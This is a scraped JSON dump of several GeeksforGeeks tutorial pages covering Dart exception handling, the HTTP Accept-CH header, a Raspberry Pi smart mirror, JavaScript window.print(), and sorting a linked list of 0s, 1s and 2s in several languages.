"s": 27135,
"text": "Dart"
},
{
"code": "void main() { String geek = \"GeeksForGeeks\"; try{ var geek2 = geek ~/ 0; print(geek2); } on FormatException{ print(\"Error!! \\nCan't act as input is not an integer.\"); } finally { print(\"Code is at end, Geek\"); } }",
"e": 27426,
"s": 27140,
"text": null
},
{
"code": null,
"e": 27434,
"s": 27426,
"text": "Output:"
},
{
"code": null,
"e": 27502,
"s": 27434,
"text": "Error!! \nCan't act as input is not an integer.\nCode is at end, Geek"
},
{
"code": null,
"e": 27638,
"s": 27502,
"text": "The throw keyword is used to explicitly raise an exception. Dart provides many built-in exception classes which you can throw manually."
},
{
"code": null,
"e": 27675,
"s": 27638,
"text": "Syntax: throw new Exception_name() "
},
{
"code": null,
"e": 27684,
"s": 27675,
"text": "Example:"
},
{
"code": null,
"e": 27689,
"s": 27684,
"text": "Dart"
},
{
"code": "void main() { try { geek(-5); } catch(e) { print('The marks cannot be negative'); } } void geek(int div2) { if(div2<0) { throw new FormatException(); // Raising explanation externally } } ",
"e": 27940,
"s": 27689,
"text": null
},
{
"code": null,
"e": 27948,
"s": 27940,
"text": "Output:"
},
{
"code": null,
"e": 27977,
"s": 27948,
"text": "The marks cannot be negative"
},
{
"code": null,
"e": 28082,
"s": 27977,
"text": "In the above program, we have wrapped geek(-5) statement in try block because it can throw an exception."
},
{
"code": null,
"e": 28211,
"s": 28082,
"text": "Every exception class inherits from the Exception class. Dart enables creating custom exceptions by extending the existing ones."
},
{
"code": null,
"e": 28275,
"s": 28211,
"text": "Syntax: class Custom_exception_Name implements Exception { } "
},
{
"code": null,
"e": 28325,
"s": 28275,
"text": "Example: Creating custom exceptions in the dart. "
},
{
"code": null,
"e": 28330,
"s": 28325,
"text": "Dart"
},
{
"code": "// extending Class Age // with Exception class class Age implements Exception { String error() => 'Geek, your age is less than 18 '; } void main() { int geek_age1 = 20; int geek_age2 = 10; try{ // Checking Age and // calling if the // exception occur check(geek_age1); check(geek_age2); } catch(e){ // Printing error print(e.error()); } } // Checking Age void check(int age){ if(age < 18){ throw new Age(); } else{ print(\"You are eligible to visit GeeksForGeeks \"); } }",
"e": 28854,
"s": 28330,
"text": null
},
{
"code": null,
"e": 28862,
"s": 28854,
"text": "Output:"
},
{
"code": null,
"e": 28934,
"s": 28862,
"text": "You are eligible to visit GeeksForGeeks\nGeek, your age is less than 18 "
},
{
"code": null,
"e": 29145,
"s": 28934,
"text": "In the above example, we created a custom exception, Age. The code raised the exception if the entered amount is not within the excepted range, and we enclosed the function invocation in the try...catch block. "
},
{
"code": null,
"e": 29169,
"s": 29145,
"text": "Dart-Exception-Handling"
},
{
"code": null,
"e": 29176,
"s": 29169,
"text": "Picked"
},
{
"code": null,
"e": 29181,
"s": 29176,
"text": "Dart"
},
{
"code": null,
"e": 29279,
"s": 29181,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 29288,
"s": 29279,
"text": "Comments"
},
{
"code": null,
"e": 29301,
"s": 29288,
"text": "Old Comments"
},
{
"code": null,
"e": 29340,
"s": 29301,
"text": "Flutter - Custom Bottom Navigation Bar"
},
{
"code": null,
"e": 29366,
"s": 29340,
"text": "Flutter - Flexible Widget"
},
{
"code": null,
"e": 29392,
"s": 29366,
"text": "ListView Class in Flutter"
},
{
"code": null,
"e": 29415,
"s": 29392,
"text": "Flutter - Stack Widget"
},
{
"code": null,
"e": 29460,
"s": 29415,
"text": "Android Studio Setup for Flutter Development"
},
{
"code": null,
"e": 29484,
"s": 29460,
"text": "Format Dates in Flutter"
},
{
"code": null,
"e": 29512,
"s": 29484,
"text": "Flutter - Positioned Widget"
},
{
"code": null,
"e": 29548,
"s": 29512,
"text": "Simple Calculator App using Flutter"
},
{
"code": null,
"e": 29566,
"s": 29548,
"text": "Flutter - Dialogs"
}
] |
HTTP headers | Accept-CH - GeeksforGeeks
|
22 Nov, 2019
The HTTP Accept-CH header is a response-type header that indicates the client hints that the server can support and should include in further requests.
Syntax:
Accept-CH: client hints
Note: The client hints can be more than one and are to be separated by commas.
Directives: The HTTP Accept-CH header accepts a single directive as mentioned above and described below:
client hints: This directive contains a set of HTTP request header fields for proactive content negotiation for indicating a list of device and agent specific preferences.
Below examples will illustrate the HTTP Accepts-CH header:
Examples:
When one client hint is used. In this example, Viewport-Width is the client hint and it indicates the layout viewport width in CSS pixels.Accept-CH: Viewport-Width
Accept-CH: Viewport-Width
When multiple client hints are used. In this example Viewport-Width and Width are the client hints.Accept-CH: Viewport-Width, Width
Accept-CH: Viewport-Width, Width
To check the Accept-CH in action go to Inspect Element -> Network check the response header for Accept-CH like below.
Supported Browsers: The browsers are compatible with the HTTP Accept-CH header are listed below:
Google Chrome
Opera
HTTP-headers
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Remove elements from a JavaScript Array
Convert a string to an integer in JavaScript
How to fetch data from an API in ReactJS ?
Difference between var, let and const keywords in JavaScript
Differences between Functional Components and Class Components in React
HTML Cheat Sheet - A Basic Guide to HTML
REST API (Introduction)
How to execute PHP code using command line ?
Difference Between PUT and PATCH Request
How to redirect to another page in ReactJS ?
|
[
{
"code": null,
"e": 25022,
"s": 24994,
"text": "\n22 Nov, 2019"
},
{
"code": null,
"e": 25174,
"s": 25022,
"text": "The HTTP Accept-CH header is a response-type header that indicates the client hints that the server can support and should include in further requests."
},
{
"code": null,
"e": 25182,
"s": 25174,
"text": "Syntax:"
},
{
"code": null,
"e": 25206,
"s": 25182,
"text": "Accept-CH: client hints"
},
{
"code": null,
"e": 25285,
"s": 25206,
"text": "Note: The client hints can be more than one and are to be separated by commas."
},
{
"code": null,
"e": 25390,
"s": 25285,
"text": "Directives: The HTTP Accept-CH header accepts a single directive as mentioned above and described below:"
},
{
"code": null,
"e": 25562,
"s": 25390,
"text": "client hints: This directive contains a set of HTTP request header fields for proactive content negotiation for indicating a list of device and agent specific preferences."
},
{
"code": null,
"e": 25621,
"s": 25562,
"text": "Below examples will illustrate the HTTP Accepts-CH header:"
},
{
"code": null,
"e": 25631,
"s": 25621,
"text": "Examples:"
},
{
"code": null,
"e": 25795,
"s": 25631,
"text": "When one client hint is used. In this example, Viewport-Width is the client hint and it indicates the layout viewport width in CSS pixels.Accept-CH: Viewport-Width"
},
{
"code": null,
"e": 25821,
"s": 25795,
"text": "Accept-CH: Viewport-Width"
},
{
"code": null,
"e": 25953,
"s": 25821,
"text": "When multiple client hints are used. In this example Viewport-Width and Width are the client hints.Accept-CH: Viewport-Width, Width"
},
{
"code": null,
"e": 25986,
"s": 25953,
"text": "Accept-CH: Viewport-Width, Width"
},
{
"code": null,
"e": 26104,
"s": 25986,
"text": "To check the Accept-CH in action go to Inspect Element -> Network check the response header for Accept-CH like below."
},
{
"code": null,
"e": 26201,
"s": 26104,
"text": "Supported Browsers: The browsers are compatible with the HTTP Accept-CH header are listed below:"
},
{
"code": null,
"e": 26215,
"s": 26201,
"text": "Google Chrome"
},
{
"code": null,
"e": 26221,
"s": 26215,
"text": "Opera"
},
{
"code": null,
"e": 26234,
"s": 26221,
"text": "HTTP-headers"
},
{
"code": null,
"e": 26251,
"s": 26234,
"text": "Web Technologies"
},
{
"code": null,
"e": 26349,
"s": 26251,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 26389,
"s": 26349,
"text": "Remove elements from a JavaScript Array"
},
{
"code": null,
"e": 26434,
"s": 26389,
"text": "Convert a string to an integer in JavaScript"
},
{
"code": null,
"e": 26477,
"s": 26434,
"text": "How to fetch data from an API in ReactJS ?"
},
{
"code": null,
"e": 26538,
"s": 26477,
"text": "Difference between var, let and const keywords in JavaScript"
},
{
"code": null,
"e": 26610,
"s": 26538,
"text": "Differences between Functional Components and Class Components in React"
},
{
"code": null,
"e": 26651,
"s": 26610,
"text": "HTML Cheat Sheet - A Basic Guide to HTML"
},
{
"code": null,
"e": 26675,
"s": 26651,
"text": "REST API (Introduction)"
},
{
"code": null,
"e": 26720,
"s": 26675,
"text": "How to execute PHP code using command line ?"
},
{
"code": null,
"e": 26761,
"s": 26720,
"text": "Difference Between PUT and PATCH Request"
}
] |
Smart Mirror using the concept of IoT
|
14 May, 2020
A Smart Mirror may be a two-way mirror with an inbuilt display behind the glass.The device was to look like a regular mirror but would have a screen inside and you would be able to interact with it using voice commands, hand gestures and smartphone. The raspberry pi is programmed using python and connects to a monitor with inbuilt speaker to provide onscreen interface and voice assistance.
Requirements:
Two way mirrorMonitorRaspberry pi 3Power adapter for raspberry piMicro SD card (32GB) and HDMI cableHC-SRO4 ultrasonic distances sensorJumper wires, Registers, PlatesFrame and back support
Two way mirror
Monitor
Raspberry pi 3
Power adapter for raspberry pi
Micro SD card (32GB) and HDMI cable
HC-SRO4 ultrasonic distances sensor
Jumper wires, Registers, Plates
Frame and back support
Working Procedure:On start, after giving power supply to mirror the raspberry loads the Operating System and directly runs the User Interface of the mirror.A power saving mode is additionally provided to the mirror by attaching a ultrasonic range detector sensor on the highest of the mirror.On fully loading the knowledge required the mirror now shows notification from different social sites as per the user has logged in.
Features:
Touch Screen
LED Lighting
Motion sensor
Voice control
Facial recognition
Advantages:
Easy to communicateUser friendlyVoice inputFast and easy images replacementAdjustable images switching times
Easy to communicate
User friendly
Voice input
Fast and easy images replacement
Adjustable images switching times
Disadvantages:
Swipe gestures are sometimes unreliable.Lack of human interaction.
Swipe gestures are sometimes unreliable.
Lack of human interaction.
We believe that the future of the home will be a brilliantly connected ecosystem of smart technology designed to make your life easier, more enjoyable, and efficient.Obviously, there are plenty of opportunities within the home for technology integration but a mirror is one among the simplest places to start out.
computer-graphics
Write From Home
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 54,
"s": 26,
"text": "\n14 May, 2020"
},
{
"code": null,
"e": 447,
"s": 54,
"text": "A Smart Mirror may be a two-way mirror with an inbuilt display behind the glass.The device was to look like a regular mirror but would have a screen inside and you would be able to interact with it using voice commands, hand gestures and smartphone. The raspberry pi is programmed using python and connects to a monitor with inbuilt speaker to provide onscreen interface and voice assistance."
},
{
"code": null,
"e": 461,
"s": 447,
"text": "Requirements:"
},
{
"code": null,
"e": 650,
"s": 461,
"text": "Two way mirrorMonitorRaspberry pi 3Power adapter for raspberry piMicro SD card (32GB) and HDMI cableHC-SRO4 ultrasonic distances sensorJumper wires, Registers, PlatesFrame and back support"
},
{
"code": null,
"e": 665,
"s": 650,
"text": "Two way mirror"
},
{
"code": null,
"e": 673,
"s": 665,
"text": "Monitor"
},
{
"code": null,
"e": 688,
"s": 673,
"text": "Raspberry pi 3"
},
{
"code": null,
"e": 719,
"s": 688,
"text": "Power adapter for raspberry pi"
},
{
"code": null,
"e": 755,
"s": 719,
"text": "Micro SD card (32GB) and HDMI cable"
},
{
"code": null,
"e": 791,
"s": 755,
"text": "HC-SRO4 ultrasonic distances sensor"
},
{
"code": null,
"e": 823,
"s": 791,
"text": "Jumper wires, Registers, Plates"
},
{
"code": null,
"e": 846,
"s": 823,
"text": "Frame and back support"
},
{
"code": null,
"e": 1271,
"s": 846,
"text": "Working Procedure:On start, after giving power supply to mirror the raspberry loads the Operating System and directly runs the User Interface of the mirror.A power saving mode is additionally provided to the mirror by attaching a ultrasonic range detector sensor on the highest of the mirror.On fully loading the knowledge required the mirror now shows notification from different social sites as per the user has logged in."
},
{
"code": null,
"e": 1281,
"s": 1271,
"text": "Features:"
},
{
"code": null,
"e": 1294,
"s": 1281,
"text": "Touch Screen"
},
{
"code": null,
"e": 1307,
"s": 1294,
"text": "LED Lighting"
},
{
"code": null,
"e": 1321,
"s": 1307,
"text": "Motion sensor"
},
{
"code": null,
"e": 1335,
"s": 1321,
"text": "Voice control"
},
{
"code": null,
"e": 1354,
"s": 1335,
"text": "Facial recognition"
},
{
"code": null,
"e": 1366,
"s": 1354,
"text": "Advantages:"
},
{
"code": null,
"e": 1475,
"s": 1366,
"text": "Easy to communicateUser friendlyVoice inputFast and easy images replacementAdjustable images switching times"
},
{
"code": null,
"e": 1495,
"s": 1475,
"text": "Easy to communicate"
},
{
"code": null,
"e": 1509,
"s": 1495,
"text": "User friendly"
},
{
"code": null,
"e": 1521,
"s": 1509,
"text": "Voice input"
},
{
"code": null,
"e": 1554,
"s": 1521,
"text": "Fast and easy images replacement"
},
{
"code": null,
"e": 1588,
"s": 1554,
"text": "Adjustable images switching times"
},
{
"code": null,
"e": 1603,
"s": 1588,
"text": "Disadvantages:"
},
{
"code": null,
"e": 1670,
"s": 1603,
"text": "Swipe gestures are sometimes unreliable.Lack of human interaction."
},
{
"code": null,
"e": 1711,
"s": 1670,
"text": "Swipe gestures are sometimes unreliable."
},
{
"code": null,
"e": 1738,
"s": 1711,
"text": "Lack of human interaction."
},
{
"code": null,
"e": 2052,
"s": 1738,
"text": "We believe that the future of the home will be a brilliantly connected ecosystem of smart technology designed to make your life easier, more enjoyable, and efficient.Obviously, there are plenty of opportunities within the home for technology integration but a mirror is one among the simplest places to start out."
},
{
"code": null,
"e": 2070,
"s": 2052,
"text": "computer-graphics"
},
{
"code": null,
"e": 2086,
"s": 2070,
"text": "Write From Home"
}
] |
How to print the content of current window using JavaScript ?
|
20 Jan, 2022
The task is to print the content of the current window by using the window.print() method in the document. It is used to open the Print Dialog Box to print the current document. It does not have any parameter value. Syntax:
window.print()
Example: This example representing how to print the content of current window using JavaScript.
html
<!DOCTYPE html><html> <body> <h1>Hello GeeksForGeeks Users</h1> <h3> Print the content of the current window using HTML and JavaScript </h3> <form> <input type="button" value="Print" onclick="print_current_page()" /> </form> <script type="text/javascript"> function print_current_page() { window.print(); } </script></body> </html>
Before Clicking On Print Button:
After Clicking On Print Button:
Supported Browser are listed below:
Google Chrome
Internet Explorer
Firefox
Opera
Safari
surinderdawra388
HTML-Misc
JavaScript-Misc
HTML
JavaScript
Web Technologies
HTML
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n20 Jan, 2022"
},
{
"code": null,
"e": 254,
"s": 28,
"text": "The task is to print the content of the current window by using the window.print() method in the document. It is used to open the Print Dialog Box to print the current document. It does not have any parameter value. Syntax: "
},
{
"code": null,
"e": 269,
"s": 254,
"text": "window.print()"
},
{
"code": null,
"e": 366,
"s": 269,
"text": "Example: This example representing how to print the content of current window using JavaScript. "
},
{
"code": null,
"e": 371,
"s": 366,
"text": "html"
},
{
"code": "<!DOCTYPE html><html> <body> <h1>Hello GeeksForGeeks Users</h1> <h3> Print the content of the current window using HTML and JavaScript </h3> <form> <input type=\"button\" value=\"Print\" onclick=\"print_current_page()\" /> </form> <script type=\"text/javascript\"> function print_current_page() { window.print(); } </script></body> </html>",
"e": 784,
"s": 371,
"text": null
},
{
"code": null,
"e": 818,
"s": 784,
"text": "Before Clicking On Print Button: "
},
{
"code": null,
"e": 851,
"s": 818,
"text": "After Clicking On Print Button: "
},
{
"code": null,
"e": 888,
"s": 851,
"text": "Supported Browser are listed below: "
},
{
"code": null,
"e": 902,
"s": 888,
"text": "Google Chrome"
},
{
"code": null,
"e": 920,
"s": 902,
"text": "Internet Explorer"
},
{
"code": null,
"e": 928,
"s": 920,
"text": "Firefox"
},
{
"code": null,
"e": 934,
"s": 928,
"text": "Opera"
},
{
"code": null,
"e": 941,
"s": 934,
"text": "Safari"
},
{
"code": null,
"e": 958,
"s": 941,
"text": "surinderdawra388"
},
{
"code": null,
"e": 968,
"s": 958,
"text": "HTML-Misc"
},
{
"code": null,
"e": 984,
"s": 968,
"text": "JavaScript-Misc"
},
{
"code": null,
"e": 989,
"s": 984,
"text": "HTML"
},
{
"code": null,
"e": 1000,
"s": 989,
"text": "JavaScript"
},
{
"code": null,
"e": 1017,
"s": 1000,
"text": "Web Technologies"
},
{
"code": null,
"e": 1022,
"s": 1017,
"text": "HTML"
}
] |
Sort a linked list of 0s, 1s and 2s by changing links
|
23 Jun, 2022
Given a linked list of 0s, 1s and 2s, sort it.Examples:
Input : 2->1->2->1->1->2->0->1->0
Output : 0->0->1->1->1->1->2->2->2
The sorted Array is 0, 0, 1, 1, 1, 1, 2, 2, 2.
Input : 2->1->0
Output : 0->1->2
The sorted Array is 0, 1, 2
Method 1: There is a solution discussed in below post that works by changing data of nodes. Sort a linked list of 0s, 1s and 2sThe above solution does not work when these values have associated data with them. For example, these three represent three colours and different types of objects associated with the colours and sort the objects (connected with a linked list) based on colours.Method 2: In this post, a new solution is discussed that works by changing links.Approach: Iterate through the linked list. Maintain 3 pointers named zero, one and two to point to current ending nodes of linked lists containing 0, 1, and 2 respectively. For every traversed node, we attach it to the end of its corresponding list. Finally, we link all three lists. To avoid many null checks, we use three dummy pointers zeroD, oneD and twoD that work as dummy headers of three lists.
C++
C
Java
Python3
C#
Javascript
// CPP Program to sort a linked list 0s, 1s// or 2s by changing links#include <bits/stdc++.h> /* Link list node */struct Node { int data; struct Node* next;}; Node* newNode(int data); // Sort a linked list of 0s, 1s and 2s// by changing pointers.Node* sortList(Node* head){ if (!head || !(head->next)) return head; // Create three dummy nodes to point to beginning of // three linked lists. These dummy nodes are created to // avoid many null checks. Node* zeroD = newNode(0); Node* oneD = newNode(0); Node* twoD = newNode(0); // Initialize current pointers for three // lists and whole list. Node *zero = zeroD, *one = oneD, *two = twoD; // Traverse list Node* curr = head; while (curr) { if (curr->data == 0) { zero->next = curr; zero = zero->next; } else if (curr->data == 1) { one->next = curr; one = one->next; } else { two->next = curr; two = two->next; } curr = curr->next; } // Attach three lists zero->next = (oneD->next) ? (oneD->next) : (twoD->next); one->next = twoD->next; two->next = NULL; // Updated head head = zeroD->next; // Delete dummy nodes delete zeroD; delete oneD; delete twoD; return head;} // Function to create and return a nodeNode* newNode(int data){ // allocating space Node* newNode = new Node; // inserting the required data newNode->data = data; newNode->next = NULL;} /* Function to print linked list */void printList(struct Node* node){ while (node != NULL) { printf("%d ", node->data); node = node->next; } printf("\n");} /* Driver program to test above function*/int main(void){ // Creating the list 1->2->4->5 Node* head = newNode(1); head->next = newNode(2); head->next->next = newNode(0); head->next->next->next = newNode(1); printf("Linked List Before Sorting\n"); printList(head); head = sortList(head); printf("Linked List After Sorting\n"); printList(head); return 0;} // This code is contributed by Aditya Kumar (adityakumar129)
// C Program to sort a linked list 0s, 1s// or 2s by changing links#include <stdio.h>#include <stdlib.h> /* Link list node */typedef struct Node { int data; struct Node* next;} Node; Node* newNode(int data); // Sort a linked list of 0s, 1s and 2s// by changing pointers.Node* sortList(Node* head){ if (!head || !(head->next)) return head; // Create three dummy nodes to point to beginning of // three linked lists. These dummy nodes are created to // avoid many null checks. Node* zeroD = newNode(0); Node* oneD = newNode(0); Node* twoD = newNode(0); // Initialize current pointers for three // lists and whole list. Node *zero = zeroD, *one = oneD, *two = twoD; // Traverse list Node* curr = head; while (curr) { if (curr->data == 0) { zero->next = curr; zero = zero->next; } else if (curr->data == 1) { one->next = curr; one = one->next; } else { two->next = curr; two = two->next; } curr = curr->next; } // Attach three lists zero->next = (oneD->next) ? (oneD->next) : (twoD->next); one->next = twoD->next; two->next = NULL; // Updated head head = zeroD->next; // Delete dummy nodes free(zeroD); free(oneD); free(twoD); return head;} // Function to create and return a nodeNode* newNode(int data){ // allocating space Node* newNode = (Node*)malloc(sizeof(Node)); // inserting the required data newNode->data = data; newNode->next = NULL;} /* Function to print linked list */void printList(struct Node* node){ while (node != NULL) { printf("%d ", node->data); node = node->next; } printf("\n");} /* Driver program to test above function*/int main(void){ // Creating the list 1->2->4->5 Node* head = newNode(1); head->next = newNode(2); head->next->next = newNode(0); head->next->next->next = newNode(1); printf("Linked List Before Sorting\n"); printList(head); head = sortList(head); printf("Linked List After Sorting\n"); printList(head); return 0;} // This code is contributed by Aditya Kumar (adityakumar129)
// Java Program to sort a linked list 0s, 1s// or 2s by changing linkspublic class Sort012 { // Sort a linked list of 0s, 1s and 2s // by changing pointers. public static Node sortList(Node head) { if(head==null || head.next==null) { return head; } // Create three dummy nodes to point to // beginning of three linked lists. These // dummy nodes are created to avoid many // null checks. Node zeroD = new Node(0); Node oneD = new Node(0); Node twoD = new Node(0); // Initialize current pointers for three // lists and whole list. Node zero = zeroD, one = oneD, two = twoD; // Traverse list Node curr = head; while (curr!=null) { if (curr.data == 0) { zero.next = curr; zero = zero.next; curr = curr.next; } else if (curr.data == 1) { one.next = curr; one = one.next; curr = curr.next; } else { two.next = curr; two = two.next; curr = curr.next; } } // Attach three lists zero.next = (oneD.next!=null)? (oneD.next) : (twoD.next); one.next = twoD.next; two.next = null; // Updated head head = zeroD.next; return head; } // function to create and return a node public static Node newNode(int data) { // allocating space Node newNode = new Node(data); newNode.next = null; return newNode; } /* Function to print linked list */ public static void printList(Node node) { while (node != null) { System.out.print(node.data+" "); node = node.next; } } public static void main(String args[]) { Node head = new Node(1); head.next = new Node(2); head.next.next = new Node(0); head.next.next.next = new Node(1); System.out.println("Linked List Before Sorting"); printList(head); head = sortList(head); System.out.println("\nLinked List After Sorting"); printList(head); }} class Node{ int data; Node next; Node(int data) { this.data=data; }}//This code is contributed by Gaurav Tiwari
# Python3 Program to sort a linked list# 0s, 1s or 2s by changing linksimport math # Link list nodeclass Node: def __init__(self, data): self.data = data self.next = None #Node* newNode( data) # Sort a linked list of 0s, 1s and 2s# by changing pointers.def sortList(head): if (head == None or head.next == None): return head # Create three dummy nodes to point to # beginning of three linked lists. # These dummy nodes are created to # avoid many None checks. zeroD = Node(0) oneD = Node(0) twoD = Node(0) # Initialize current pointers for three # lists and whole list. zero = zeroD one = oneD two = twoD # Traverse list curr = head while (curr): if (curr.data == 0): zero.next = curr zero = zero.next curr = curr.next elif(curr.data == 1): one.next = curr one = one.next curr = curr.next else: two.next = curr two = two.next curr = curr.next # Attach three lists zero.next = (oneD.next) if (oneD.next ) \ else (twoD.next) one.next = twoD.next two.next = None # Updated head head = zeroD.next # Delete dummy nodes return head # function to create and return a nodedef newNode(data): # allocating space newNode = Node(data) # inserting the required data newNode.data = data newNode.next = None return newNode # Function to print linked listdef printList(node): while (node != None): print(node.data, end = " ") node = node.next # Driver Codeif __name__=='__main__': # Creating the list 1.2.4.5 head = newNode(1) head.next = newNode(2) head.next.next = newNode(0) head.next.next.next = newNode(1) print("Linked List Before Sorting") printList(head) head = sortList(head) print("\nLinked List After Sorting") printList(head) # This code is contributed by Srathore
// C# Program to sort a linked list 0s, 1s// or 2s by changing linksusing System; public class Sort012{ // Sort a linked list of 0s, 1s and 2s // by changing pointers. public static Node sortList(Node head) { if(head == null || head.next == null) { return head; } // Create three dummy nodes to point to // beginning of three linked lists. These // dummy nodes are created to avoid many // null checks. Node zeroD = new Node(0); Node oneD = new Node(0); Node twoD = new Node(0); // Initialize current pointers for three // lists and whole list. Node zero = zeroD, one = oneD, two = twoD; // Traverse list Node curr = head; while (curr != null) { if (curr.data == 0) { zero.next = curr; zero = zero.next; curr = curr.next; } else if (curr.data == 1) { one.next = curr; one = one.next; curr = curr.next; } else { two.next = curr; two = two.next; curr = curr.next; } } // Attach three lists zero.next = (oneD.next != null)? (oneD.next) : (twoD.next); one.next = twoD.next; two.next = null; // Updated head head = zeroD.next; return head; } // function to create and return a node public static Node newNode(int data) { // allocating space Node newNode = new Node(data); newNode.next = null; return newNode; } /* Function to print linked list */ public static void printList(Node node) { while (node != null) { Console.Write(node.data + " "); node = node.next; } } // Driver code public static void Main() { Node head = new Node(1); head.next = new Node(2); head.next.next = new Node(0); head.next.next.next = new Node(1); Console.WriteLine("Linked List Before Sorting"); printList(head); head = sortList(head); Console.WriteLine("\nLinked List After Sorting"); printList(head); }} public class Node{ public int data; public Node next; public Node(int data) { this.data = data; }} // This code is contributed by PrinciRaj1992
<script> // JavaScript Program to sort a// linked list 0s, 1s// or 2s by changing linksclass Node { constructor(val) { this.data = val; this.next = null; }} // Sort a linked list of 0s, 1s and 2s // by changing pointers. function sortList(head) { if (head == null || head.next == null) { return head; } // Create three dummy nodes to point to // beginning of three linked lists. These // dummy nodes are created to afunction many // null checks. var zeroD = new Node(0); var oneD = new Node(0); var twoD = new Node(0); // Initialize current pointers for three // lists and whole list. var zero = zeroD, one = oneD, two = twoD; // Traverse list var curr = head; while (curr != null) { if (curr.data == 0) { zero.next = curr; zero = zero.next; curr = curr.next; } else if (curr.data == 1) { one.next = curr; one = one.next; curr = curr.next; } else { two.next = curr; two = two.next; curr = curr.next; } } // Attach three lists zero.next = (oneD.next != null) ? (oneD.next) : (twoD.next); one.next = twoD.next; two.next = null; // Updated head head = zeroD.next; return head; } // function to create and return a node function newNode(data) { // allocating space var newNode = new Node(data); newNode.next = null; return newNode; } /* Function to print linked list */ function printList(node) { while (node != null) { document.write(node.data + " "); node = node.next; } } var head = new Node(1); head.next = new Node(2); head.next.next = new Node(0); head.next.next.next = new Node(1); document.write( "Linked List Before Sorting<br/>" ); printList(head); head = sortList(head); document.write( "<br/>Linked List After Sorting<br/>" ); printList(head); // This code contributed by gauravrajput1 </script>
Output :
Linked List Before Sorting
1 2 0 1
Linked List After Sorting
0 1 1 2
Complexity Analysis:
Time Complexity: O(n) where n is a number of nodes in linked list. Only one traversal of the linked list is needed.
Auxiliary Space: O(1). As no extra space is required.
Thanks to Musarrat_123 for suggesting above solution in a comment here.
This article is contributed by Bhaskar Kumar Mishra. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
_Gaurav_Tiwari
princiraj1992
sapnasingh4991
Akanksha_Rai
nidhi_biet
andrew1234
aditya1050
GauravRajput1
simranarora5sos
surinderdawra388
adityakumar129
Amazon
Linked-List-Sorting
MakeMyTrip
Microsoft
Linked List
Sorting
Amazon
Microsoft
MakeMyTrip
Linked List
Sorting
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 54,
"s": 26,
"text": "\n23 Jun, 2022"
},
{
"code": null,
"e": 110,
"s": 54,
"text": "Given a linked list of 0s, 1s and 2s, sort it.Examples:"
},
{
"code": null,
"e": 289,
"s": 110,
"text": "Input : 2->1->2->1->1->2->0->1->0\nOutput : 0->0->1->1->1->1->2->2->2\nThe sorted Array is 0, 0, 1, 1, 1, 1, 2, 2, 2.\n\nInput : 2->1->0\nOutput : 0->1->2\nThe sorted Array is 0, 1, 2"
},
{
"code": null,
"e": 1160,
"s": 289,
"text": "Method 1: There is a solution discussed in below post that works by changing data of nodes. Sort a linked list of 0s, 1s and 2sThe above solution does not work when these values have associated data with them. For example, these three represent three colours and different types of objects associated with the colours and sort the objects (connected with a linked list) based on colours.Method 2: In this post, a new solution is discussed that works by changing links.Approach: Iterate through the linked list. Maintain 3 pointers named zero, one and two to point to current ending nodes of linked lists containing 0, 1, and 2 respectively. For every traversed node, we attach it to the end of its corresponding list. Finally, we link all three lists. To avoid many null checks, we use three dummy pointers zeroD, oneD and twoD that work as dummy headers of three lists."
},
{
"code": null,
"e": 1164,
"s": 1160,
"text": "C++"
},
{
"code": null,
"e": 1166,
"s": 1164,
"text": "C"
},
{
"code": null,
"e": 1171,
"s": 1166,
"text": "Java"
},
{
"code": null,
"e": 1179,
"s": 1171,
"text": "Python3"
},
{
"code": null,
"e": 1182,
"s": 1179,
"text": "C#"
},
{
"code": null,
"e": 1193,
"s": 1182,
"text": "Javascript"
},
{
"code": "// CPP Program to sort a linked list 0s, 1s// or 2s by changing links#include <bits/stdc++.h> /* Link list node */struct Node { int data; struct Node* next;}; Node* newNode(int data); // Sort a linked list of 0s, 1s and 2s// by changing pointers.Node* sortList(Node* head){ if (!head || !(head->next)) return head; // Create three dummy nodes to point to beginning of // three linked lists. These dummy nodes are created to // avoid many null checks. Node* zeroD = newNode(0); Node* oneD = newNode(0); Node* twoD = newNode(0); // Initialize current pointers for three // lists and whole list. Node *zero = zeroD, *one = oneD, *two = twoD; // Traverse list Node* curr = head; while (curr) { if (curr->data == 0) { zero->next = curr; zero = zero->next; } else if (curr->data == 1) { one->next = curr; one = one->next; } else { two->next = curr; two = two->next; } curr = curr->next; } // Attach three lists zero->next = (oneD->next) ? (oneD->next) : (twoD->next); one->next = twoD->next; two->next = NULL; // Updated head head = zeroD->next; // Delete dummy nodes delete zeroD; delete oneD; delete twoD; return head;} // Function to create and return a nodeNode* newNode(int data){ // allocating space Node* newNode = new Node; // inserting the required data newNode->data = data; newNode->next = NULL;} /* Function to print linked list */void printList(struct Node* node){ while (node != NULL) { printf(\"%d \", node->data); node = node->next; } printf(\"\\n\");} /* Driver program to test above function*/int main(void){ // Creating the list 1->2->4->5 Node* head = newNode(1); head->next = newNode(2); head->next->next = newNode(0); head->next->next->next = newNode(1); printf(\"Linked List Before Sorting\\n\"); printList(head); head = sortList(head); printf(\"Linked List After Sorting\\n\"); printList(head); return 0;} // This code is contributed by Aditya Kumar (adityakumar129)",
"e": 3354,
"s": 1193,
"text": null
},
{
